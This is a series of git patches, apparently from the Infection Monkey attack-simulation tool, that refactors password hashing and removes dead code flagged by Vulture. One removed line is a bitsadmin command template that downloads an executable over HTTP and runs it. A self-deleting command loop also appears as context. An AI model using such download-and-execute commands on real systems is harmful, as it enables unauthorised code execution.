assert creds.password_hash == "$2b$12$JA7GdT1iyfIsquF2cTZv2.NdGFuYbX1WGfQAOyHlpEsgDTNGZ0TXG" - - def test_member_values(monkeypatch): - monkeypatch.setattr(bcrypt, "gensalt", lambda: TEST_SALT) - creds = UserCreds(TEST_USER, TEST_HASH) assert creds.username == TEST_USER assert creds.password_hash == TEST_HASH From 9024a512b01b89be0529af2a8bd347c75f6db14f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 21:26:06 -0400 Subject: [PATCH 0372/1360] island: Move all bcrypt dependencies to password_utils --- monkey/monkey_island/cc/environment/standard.py | 6 +----- monkey/monkey_island/cc/resources/auth/auth.py | 4 ++-- .../cc/resources/auth/password_utils.py | 12 ++++++++++++ .../monkey_island/cc/resources/auth/registration.py | 4 ++-- 4 files changed, 17 insertions(+), 9 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/auth/password_utils.py diff --git a/monkey/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py index 7cca21c8715..2f337fbf0c5 100644 --- a/monkey/monkey_island/cc/environment/standard.py +++ b/monkey/monkey_island/cc/environment/standard.py @@ -1,5 +1,3 @@ -import bcrypt - from monkey_island.cc.environment import Environment from monkey_island.cc.resources.auth.auth_user import User @@ -10,9 +8,7 @@ class StandardEnvironment(Environment): _credentials_required = False NO_AUTH_USER = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()" - NO_AUTH_SECRET = bcrypt.hashpw( - NO_AUTH_USER.encode("utf-8"), b"$2b$12$frH7uEwV3jkDNGgReW6j2u" - ).decode() + NO_AUTH_SECRET = "$2b$12$frH7uEwV3jkDNGgReW6j2udw8hy/Yw1SWAqytrcBYK48kn1V5lQIa" def get_auth_users(self): return [User(1, StandardEnvironment.NO_AUTH_USER, StandardEnvironment.NO_AUTH_SECRET)] diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 5ffa4516c89..064395eafb9 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -2,7 +2,6 @@ import logging from functools import wraps -import bcrypt import flask_jwt_extended import flask_restful from flask import make_response, request @@ -10,6 +9,7 @@ from jwt import PyJWTError import monkey_island.cc.environment.environment_singleton as env_singleton +import monkey_island.cc.resources.auth.password_utils as password_utils import monkey_island.cc.resources.auth.user_store as user_store logger = logging.getLogger(__name__) @@ -59,7 +59,7 @@ def _get_credentials_from_request(request): def _credentials_match_registered_user(username, password): user = user_store.UserStore.username_table.get(username, None) - if user and bcrypt.checkpw(password.encode("utf-8"), user.secret.encode("utf-8")): + if user and password_utils.password_matches_hash(password, user.secret): return True return False diff --git a/monkey/monkey_island/cc/resources/auth/password_utils.py b/monkey/monkey_island/cc/resources/auth/password_utils.py new file mode 100644 index 00000000000..f470fd8822b --- /dev/null +++ b/monkey/monkey_island/cc/resources/auth/password_utils.py @@ -0,0 +1,12 @@ +import bcrypt + + +def hash_password(plaintext_password): + salt = bcrypt.gensalt() + password_hash = bcrypt.hashpw(plaintext_password.encode("utf-8"), salt) + + return password_hash.decode() + + +def password_matches_hash(plaintext_password, password_hash): + return bcrypt.checkpw(plaintext_password.encode("utf-8"), password_hash.encode("utf-8")) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 8c7ca5054c1..121b03d7121 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -1,10 +1,10 @@ import json -import bcrypt import flask_restful from flask import make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton +import monkey_island.cc.resources.auth.password_utils as password_utils from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError from monkey_island.cc.environment.user_creds import UserCreds @@ -28,6 +28,6 @@ def _get_user_credentials_from_request(request): username = cred_dict.get("user", "") password = cred_dict.get("password", "") - password_hash = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode() + password_hash = password_utils.hash_password(password) return UserCreds(username, password_hash) From 7772ea6e4e76ef2477f27355fd982d9c9dbab918 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 May 2021 07:21:46 -0400 Subject: [PATCH 0373/1360] island: Add FULL_USER_CREDENTIALS to test_environment.py --- .../monkey_island/cc/environment/test_environment.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/monkey_island/cc/environment/test_environment.py index 8d4c4147ed6..6b648ddeed8 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment.py @@ -20,7 +20,8 @@ STANDARD_WITH_CREDENTIALS = None STANDARD_ENV = None -EMPTY_CREDS = UserCreds("", "") +EMPTY_USER_CREDENTIALS = UserCreds("", "") +FULL_USER_CREDENTIALS = UserCreds(username="test", password_hash="1231234") # This fixture is a dirty hack that can be removed once these tests are converted from @@ -69,7 +70,7 @@ def get_server_config_file_path_test_version(): class TestEnvironment(TestCase): class EnvironmentCredentialsNotRequired(Environment): def __init__(self): - config = StubEnvironmentConfig("test", "test", EMPTY_CREDS) + config = StubEnvironmentConfig("test", "test", EMPTY_USER_CREDENTIALS) super().__init__(config) _credentials_required = False @@ -79,7 +80,7 @@ def get_auth_users(self): class EnvironmentCredentialsRequired(Environment): def __init__(self): - config = StubEnvironmentConfig("test", "test", EMPTY_CREDS) + config = StubEnvironmentConfig("test", "test", EMPTY_USER_CREDENTIALS) super().__init__(config) _credentials_required = True @@ -100,7 +101,7 @@ def get_auth_users(self): @patch.object(target=EnvironmentConfig, attribute="save_to_file", new=MagicMock()) def test_try_add_user(self): env = TestEnvironment.EnvironmentCredentialsRequired() - credentials = UserCreds(username="test", password_hash="1231234") + credentials = FULL_USER_CREDENTIALS env.try_add_user(credentials) credentials = UserCreds(username="test", password_hash="") @@ -108,7 +109,7 @@ def test_try_add_user(self): env.try_add_user(credentials) env = TestEnvironment.EnvironmentCredentialsNotRequired() - credentials = UserCreds(username="test", password_hash="1231234") + credentials = FULL_USER_CREDENTIALS with self.assertRaises(RegistrationNotNeededError): env.try_add_user(credentials) From 2f6803dc3d632ad17113cccbcd67b02450a94f37 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 May 2021 12:42:41 -0400 Subject: [PATCH 0374/1360] Add vulture pre-commit hook --- .pre-commit-config.yaml | 4 ++++ pyproject.toml | 4 ++++ 2 files changed, 8 insertions(+) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index af30837fe4e..75c0ea28f28 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -48,3 +48,7 @@ repos: rev: v0.2 hooks: - id: swimm-verify + - repo: https://github.com/jendrikseipp/vulture + rev: v2.3 + hooks: + - id: vulture diff --git a/pyproject.toml b/pyproject.toml index 0245f12a08c..d67c57cf664 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -21,3 +21,7 @@ log_cli_format = "%(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d log_cli_date_format = "%H:%M:%S" addopts = "-v --capture=sys tests" norecursedirs = "node_modules dist" + +[tool.vulture] +exclude = ["monkey/monkey_island/cc/ui"] +paths = ["."] From b41a2f2366a4385e68603c6348b7990cd46775b2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 May 2021 13:05:42 -0400 Subject: [PATCH 0375/1360] travis: Fail build if vulture finds dead code --- .travis.yml | 3 +++ monkey/monkey_island/Pipfile | 1 + monkey/monkey_island/Pipfile.lock | 10 +++++++++- 3 files changed, 13 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index b3f1e742868..8c7acfc3e95 100644 --- a/.travis.yml +++ b/.travis.yml @@ -63,6 +63,9 @@ script: ## Check that all python is properly formatted. Fail otherwise. - python -m black --check . +## Check that there is no dead python code +- python -m vulture . + ## Run unit tests and generate coverage data - cd monkey # This is our source dir - python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 65eeaae4bc0..212e08e86d1 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -42,6 +42,7 @@ flake8 = "==3.9.0" pytest-cov = "*" isort = "==5.8.0" coverage = "*" +vulture = "==2.3" [requires] python_version = "3.7" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 46479e64326..7e9f1be72ae 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "3057235b1e85593ee307d9e5a2e0d15e26f13437bb709529303c7c900d3c7b41" + "sha256": "6734e0c45321194a1ec4ac2e91af8efb9b9dd9e7f02af146d01219dc64847a51" }, "pipfile-spec": 6, "requires": { @@ -1447,6 +1447,14 @@ "index": "pypi", "version": "==20.4.3" }, + "vulture": { + "hashes": [ + "sha256:03d5a62bcbe9ceb9a9b0575f42d71a2d414070229f2e6f95fa6e7c71aaaed967", + "sha256:f39de5e6f1df1f70c3b50da54f1c8d494159e9ca3d01a9b89eac929600591703" + ], + "index": "pypi", + "version": "==2.3" + }, "zipp": { "hashes": [ "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", From 9649f90cff9ee4df5d00e3f3f4ebec34ec155a2f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 May 2021 13:22:37 -0400 Subject: [PATCH 0376/1360] agent: Remove unused parameter securityFlags from create_smb() --- monkey/infection_monkey/exploit/sambacry.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 72d36e234ea..7a4c124295a 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -465,7 +465,6 @@ def create_smb( creationDisposition, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, - securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None, ): From 33e74b1f3e6b0bdde1e4c4149f05637978db1738 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 May 2021 13:49:27 -0400 Subject: [PATCH 0377/1360] agent: Use consistent naming for parameters to __exit__() Using these specific names prevents Vulture from identifying these parameters as unused. --- monkey/infection_monkey/network/firewall.py | 2 +- monkey/infection_monkey/utils/auto_new_user.py | 2 +- monkey/infection_monkey/utils/linux/users.py | 2 +- monkey/infection_monkey/utils/windows/users.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index cddba49fe03..0851a575f96 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -31,7 +31,7 @@ def listen_allowed(self, **kwargs): def __enter__(self): return self - def __exit__(self, exc_type, value, traceback): + def __exit__(self, _exc_type, value, traceback): self.close() def close(self): diff --git a/monkey/infection_monkey/utils/auto_new_user.py b/monkey/infection_monkey/utils/auto_new_user.py index f3ebda0af1a..767237d1ff8 100644 --- a/monkey/infection_monkey/utils/auto_new_user.py +++ b/monkey/infection_monkey/utils/auto_new_user.py @@ -31,7 +31,7 @@ def __enter__(self): raise NotImplementedError() @abc.abstractmethod - def __exit__(self, exc_type, exc_val, exc_tb): + def __exit__(self, _exc_type, value, traceback): raise NotImplementedError() @abc.abstractmethod diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index 9bd3c2bf834..002c63f9694 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -54,7 +54,7 @@ def run_as(self, command): ) return subprocess.call(command_as_new_user) - def __exit__(self, exc_type, exc_val, exc_tb): + def __exit__(self, _exc_type, value, traceback): # delete the user. commands_to_delete_user = get_linux_commands_to_delete_user(self.username) logger.debug( diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index 06e6267830f..1a2bee53c1c 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -111,7 +111,7 @@ def run_as(self, command): def get_logon_handle(self): return self.logon_handle - def __exit__(self, exc_type, exc_val, exc_tb): + def __exit__(self, _exc_type, value, traceback): # Logoff self.logon_handle.Close() From 638e70e97854ba4f9995f3374da25a80e74ef645 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 12:00:23 +0530 Subject: [PATCH 0378/1360] Remove unused code in unit tests --- .../monkey_island/cc/environment/test_environment.py | 4 ---- .../cc/services/reporting/test_report.py | 1 - .../cc/services/test_bootloader_service.py | 11 ----------- 3 files changed, 16 deletions(-) diff --git a/monkey/tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/monkey_island/cc/environment/test_environment.py index 6b648ddeed8..4c32cf137c4 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment.py @@ -63,10 +63,6 @@ def __del__(self): os.remove(self.server_config_path) -def get_server_config_file_path_test_version(): - return os.path.join(os.getcwd(), "test_config.json") - - class TestEnvironment(TestCase): class EnvironmentCredentialsNotRequired(Environment): def __init__(self): diff --git a/monkey/tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/monkey_island/cc/services/reporting/test_report.py index cbc9777d36b..989c46eeda7 100644 --- a/monkey/tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/monkey_island/cc/services/reporting/test_report.py @@ -21,7 +21,6 @@ VICTIM_IP = "0.0.0.0" VICTIM_DOMAIN_NAME = "domain-name" HOSTNAME = "name-of-host" -EXPLOITER_CLASS_NAME = "exploiter-name" # Below telem constants only contain fields relevant to current tests diff --git a/monkey/tests/monkey_island/cc/services/test_bootloader_service.py b/monkey/tests/monkey_island/cc/services/test_bootloader_service.py index 81c4affffac..25869fd29cb 100644 --- a/monkey/tests/monkey_island/cc/services/test_bootloader_service.py +++ b/monkey/tests/monkey_island/cc/services/test_bootloader_service.py @@ -2,17 +2,6 @@ from monkey_island.cc.services.bootloader import BootloaderService -WINDOWS_VERSIONS = { - "5.0": "Windows 2000", - "5.1": "Windows XP", - "5.2": "Windows XP/server 2003", - "6.0": "Windows Vista/server 2008", - "6.1": "Windows 7/server 2008R2", - "6.2": "Windows 8/server 2012", - "6.3": "Windows 8.1/server 2012R2", - "10.0": "Windows 10/server 2016-2019", -} - MIN_GLIBC_VERSION = 2.14 From df7759e3327ff3b589ac3b9a78e646e9fd11638d Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 13:03:20 +0530 Subject: [PATCH 0379/1360] Remove unused variable `DETAILS_DTO` from `monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py` --- .../cc/services/zero_trust/test_common/monkey_finding_data.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py index 0e5433784d2..c7053ebdaba 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py @@ -26,8 +26,6 @@ for event in EVENTS ] -DETAILS_DTO = [] - def get_monkey_details_dto() -> MonkeyFindingDetails: monkey_details = MonkeyFindingDetails() From 9bcaa2ef8e6e8ca101ebd7cfdf3ccce342732fcb Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 13:05:41 +0530 Subject: [PATCH 0380/1360] Remove unused `did_exploit_type_succeed()` from `monkey_island/cc/services/reporting/report.py` --- monkey/monkey_island/cc/services/reporting/report.py | 9 --------- 1 file changed, 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index ade56e64e99..5a27b89335c 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -763,12 +763,3 @@ def get_report(): if ReportService.is_latest_report_exists(): return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one()) return safe_generate_regular_report() - - @staticmethod - def did_exploit_type_succeed(exploit_type): - return ( - mongo.db.edge.count( - {"exploits": {"$elemMatch": {"exploiter": exploit_type, "result": True}}}, limit=1 - ) - > 0 - ) From f32e1e0a0fbe46cfc73117513d90ddd7a0158a85 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 13:17:12 +0530 Subject: [PATCH 0381/1360] Remove unused variable `is_auth` in `monkey_island/cc/services/remote_run_aws.py` --- monkey/monkey_island/cc/services/remote_run_aws.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py index 553f4c72e57..3f105a547ec 100644 --- a/monkey/monkey_island/cc/services/remote_run_aws.py +++ b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -13,7 +13,6 @@ class RemoteRunAwsService: aws_instance = None - is_auth = False def __init__(self): pass From 9c629f964cb218c48d140c9b922bfbea3ca4401f Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 13:19:31 +0530 Subject: [PATCH 0382/1360] Remove unused variable `UPLOADS_DIR_NAME` in `monkey_island/cc/services/post_breach_files.py` --- monkey/monkey_island/cc/services/post_breach_files.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 504522d9ab3..626a2a56d4a 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -12,7 +12,6 @@ # Where to find file names in config PBA_WINDOWS_FILENAME_PATH = ["monkey", "post_breach", "PBA_windows_filename"] PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"] -UPLOADS_DIR_NAME = "userUploads" def remove_PBA_files(): From e4c45153ea41a9e65af50d448f806fdb803ccf0f Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 13:27:43 +0530 Subject: [PATCH 0383/1360] Remove unused `get_monkey_critical_services()` and `get_monkey_label_by_id()` in `monkey_island/cc/services/node.py` --- monkey/monkey_island/cc/services/node.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 78c165503d4..c906c47a907 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -104,17 +104,6 @@ def get_monkey_manual_run(monkey): return True - @staticmethod - def get_monkey_label_by_id(monkey_id): - return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id)) - - @staticmethod - def get_monkey_critical_services(monkey_id): - critical_services = mongo.db.monkey.find_one( - {"_id": monkey_id}, {"critical_services": 1} - ).get("critical_services", []) - return critical_services - @staticmethod def get_monkey_label(monkey): # todo From a5481c15f81fd7edaf24838b0dd035dbc4fce578 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 14:01:07 +0530 Subject: [PATCH 0384/1360] Remove unused `get_latest_attack_telem_time()` from `monkey_island/cc/services/attack/attack_report.py` --- .../cc/services/attack/attack_report.py | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 5845db5023c..02936b50976 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -119,19 +119,6 @@ def generate_new_report(): mongo.db.attack_report.replace_one({"name": REPORT_NAME}, report, upsert=True) return report - @staticmethod - def get_latest_attack_telem_time(): - """ - Gets timestamp of latest attack telem - :return: timestamp of latest attack telem - """ - return [ - x["timestamp"] - for x in mongo.db.telemetry.find({"telem_category": "attack"}) - .sort("timestamp", -1) - .limit(1) - ][0] - @staticmethod def get_latest_report(): """ From eeaafc9a3b07358b1a1155e72fb110350601745c Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 16:38:07 +0530 Subject: [PATCH 0385/1360] Remove ununsed variable `user_id_table` in `monkey_island/cc/resources/auth/user_store.py` --- monkey/monkey_island/cc/resources/auth/user_store.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/user_store.py b/monkey/monkey_island/cc/resources/auth/user_store.py index a35f4b3d601..3c5217f574b 100644 --- a/monkey/monkey_island/cc/resources/auth/user_store.py +++ b/monkey/monkey_island/cc/resources/auth/user_store.py @@ -6,10 +6,8 @@ class UserStore: users = [] username_table = {} - user_id_table = {} @staticmethod def set_users(users: List[User]): UserStore.users = users UserStore.username_table = {u.username: u for u in UserStore.users} - UserStore.user_id_table = {u.id: u for u in UserStore.users} From b1ce5d3e2e83c0a765bf0a5f120b423a97c8f4b9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 16:54:44 +0530 Subject: [PATCH 0386/1360] Remove unused variable `MAX_MONKEYS_AMOUNT_TO_CACHE` in `monkey_island/cc/models/monkey.py` --- monkey/monkey_island/cc/models/monkey.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 3bb3c57c9ae..fc87c46052c 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -20,8 +20,6 @@ from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.services.utils.network_utils import local_ip_addresses -MAX_MONKEYS_AMOUNT_TO_CACHE = 100 - class Monkey(Document): """ From b7535dccb0bd138984c24359afe9d83d92a75090 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 17:14:13 +0530 Subject: [PATCH 0387/1360] Remove unused variables `GENERAL_CMDLINE_LINUX` and `MONKEY_CMDLINE_HTTP` in `infection_monkey/model/__init__.py` --- monkey/infection_monkey/model/__init__.py | 9 --------- 1 file changed, 9 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 4f6f8de4abc..988edbc07e6 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -17,7 +17,6 @@ MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = "./%%(monkey_filename)s %s" % (MONKEY_ARG,) -GENERAL_CMDLINE_LINUX = "(cd %(monkey_directory)s && %(monkey_commandline)s)" DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % ( CMD_PREFIX, DROPPER_ARG, @@ -26,14 +25,6 @@ CMD_PREFIX, MONKEY_ARG, ) -MONKEY_CMDLINE_HTTP = ( - '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' - '&cmd /c %%(monkey_path)s %s"' - % ( - CMD_PREFIX, - MONKEY_ARG, - ) -) DELAY_DELETE_CMD = ( "cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & " "if not exist %(file_path)s exit)) > NUL 2>&1 " From 6cc22afd9b4b63aacc98dfacf82f082de0cac460 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 17:17:51 +0530 Subject: [PATCH 0388/1360] Remove unused `get_ip_for_connection()` in `infection_monkey/network/info.py` --- monkey/infection_monkey/network/info.py | 19 ------------------- 1 file changed, 19 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 5ada2e29fc9..5bdce48873e 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -157,22 +157,3 @@ def get_interfaces_ranges(): # limit subnet scans to class C only res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res - - -if is_windows_os(): - - def get_ip_for_connection(target_ip): - return None - - -else: - - def get_ip_for_connection(target_ip): - try: - query_str = "ip route get %s" % target_ip - resp = check_output(query_str.split()) - substr = resp.split() - src = substr[substr.index("src") + 1] - return src - except Exception: - return None From 2f5d33844c098643c90d5ac265b705c0519b45d2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 17:37:08 +0530 Subject: [PATCH 0389/1360] Remove unused variable `PATH_TO_ACTIONS` from `infection_monkey/post_breach/post_breach_handler.py` --- monkey/infection_monkey/post_breach/post_breach_handler.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 315cdac0b0a..d2ccb255557 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -9,8 +9,6 @@ __author__ = "VakarisZ" -PATH_TO_ACTIONS = "infection_monkey.post_breach.actions." - class PostBreach(object): """ From 8391df9114a9d45e29c85d93f89f3b94a3d8f816 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 17:39:31 +0530 Subject: [PATCH 0390/1360] Remove unused `check_udp_port`, `traceroute()`, `_traceroute_windows()`, and `_traceroute_linux` from `infection_monkey/network/tools.py` --- monkey/infection_monkey/network/tools.py | 65 ------------------------ 1 file changed, 65 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2ccfeb35b48..97c3ef84f14 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -82,31 +82,6 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): return True, banner -def check_udp_port(ip, port, timeout=DEFAULT_TIMEOUT): - """ - Checks if a given UDP port is open by checking if it replies to an empty message - :param ip: Target IP - :param port: Target port - :param timeout: Timeout to wait - :return: Tuple, T/F + banner - """ - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(timeout) - - data = None - is_open = False - - try: - sock.sendto(b"-", (ip, port)) - data, _ = sock.recvfrom(BANNER_READ) - is_open = True - except socket.error: - pass - sock.close() - - return is_open, data - - def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): """ Checks whether any of the given ports are open on a target IP. @@ -189,20 +164,6 @@ def tcp_port_to_service(port): return "tcp-" + str(port) -def traceroute(target_ip, ttl=64): - """ - Traceroute for a specific IP/name. - Note, may throw exception on failure that should be handled by caller. - :param target_ip: IP/name of target - :param ttl: Max TTL - :return: Sequence of IPs in the way - """ - if sys.platform == "win32": - return _traceroute_windows(target_ip, ttl) - else: # linux based hopefully - return _traceroute_linux(target_ip, ttl) - - def _get_traceroute_bin_path(): """ Gets the path to the prebuilt traceroute executable @@ -254,32 +215,6 @@ def _parse_traceroute(output, regex, ttl): return trace_list -def _traceroute_windows(target_ip, ttl): - """ - Traceroute for a specific IP/name - Windows implementation - """ - # we'll just use tracert because that's always there - cli = ["tracert", "-d", "-w", "250", "-h", str(ttl), target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - stdout = stdout.replace("\r", "") - return _parse_traceroute(stdout, IP_ADDR_RE, ttl) - - -def _traceroute_linux(target_ip, ttl): - """ - Traceroute for a specific IP/name - Linux implementation - """ - - cli = [_get_traceroute_bin_path(), "-m", str(ttl), target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - - lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl) - lines = [x[1:-1] if x else None for x in lines] # Removes parenthesis - return lines - - def get_interface_to_target(dst): """ :param dst: destination IP address string without port. E.G. '192.168.1.1.' From 35f4515d6e45e1f7e22f60bcad601536f85e7ce8 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 17:50:42 +0530 Subject: [PATCH 0391/1360] Remove unused `get_pba()` in `infection_monkey/post_breach/pba.py` --- monkey/infection_monkey/post_breach/pba.py | 8 -------- 1 file changed, 8 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index bf0e66ed4c1..5636960731d 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -37,14 +37,6 @@ def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name - def get_pba(self): - """ - This method returns a PBA object based on a worm's configuration. - Return None or False if you don't want the pba to be executed. - :return: A pba object. - """ - return self - @staticmethod def should_run(class_name): """ From 0dc60051145c72e7c31f3edbff8d8a19ae5023d3 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 4 May 2021 17:52:58 +0530 Subject: [PATCH 0392/1360] Remove unused variable `os_is_linux` in `infection_monkey/post_breach/post_breach_handler.py` --- monkey/infection_monkey/post_breach/post_breach_handler.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index d2ccb255557..ee83a1dcbc1 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py 